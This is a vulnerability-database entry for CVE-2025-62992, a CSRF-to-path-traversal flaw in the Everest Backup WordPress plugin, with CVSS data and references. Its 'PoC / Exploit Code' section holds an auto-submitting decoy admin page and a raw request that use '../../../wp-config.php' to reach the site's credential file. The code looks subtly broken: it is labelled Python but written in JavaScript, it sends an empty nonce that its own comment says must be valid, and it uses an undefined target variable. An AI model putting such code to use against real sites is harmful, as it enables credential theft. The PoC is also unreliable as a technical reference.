CVE-2025-62992

Description

Cross-Site Request Forgery (CSRF) vulnerability in everestthemes Everest Backup everest-backup allows Path Traversal.This issue affects Everest Backup: from n/a through <= 2.3.11.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:everestthemes:everest_backup:*:*:*:*:*:wordpress:*:* - VULNERABLE

Everest Backup (everest-backup) <= 2.3.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62992 PoC - CSRF to Path Traversal in Everest Backup
// This PoC demonstrates how an attacker can exploit the CSRF vulnerability
// to perform path traversal attacks via the Everest Backup plugin

const formData = new FormData();
formData.append('ebwt_action', 'restore');
formData.append('backup_file', '../../../wp-config.php');
formData.append('_wpnonce', ''); // Attacker would need to guess or use CSRF to get valid nonce

const maliciousHTML = `
<!DOCTYPE html>
<html>
<head>
    <title>WordPress Admin Dashboard</title>
</head>
<body>
    <h1>Welcome to WordPress Admin</h1>
    <p>Loading backup settings...</p>
    
    <form id="exploitForm" action="${targetUrl}/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="action" value="ebwt_restore">
        <input type="hidden" name="ebwt_action" value="restore">
        <input type="hidden" name="backup_file" value="../../../wp-config.php">
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('exploitForm').submit();
    </script>
</body>
</html>
`;

// Alternative: Direct CSRF PoC for path traversal
const csrfPoc = {
    method: 'POST',
    url: 'https://target-site.com/wp-admin/admin-ajax.php',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: 'action=ebwt_restore&ebwt_action=restore&backup_file=../../../../wp-config.php'
};

console.log('CVE-2025-62992 PoC Generated');
console.log('Target: WordPress site with Everest Backup plugin <= 2.3.11');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62992
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62992
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62992/
[4] VulDB https://vuldb.com/cve/CVE-2025-62992
[5] https://patchstack.com/database/Wordpress/Plugin/everest-backup/vulnerability/wordpress-everest-backup-plugin-2-3-9-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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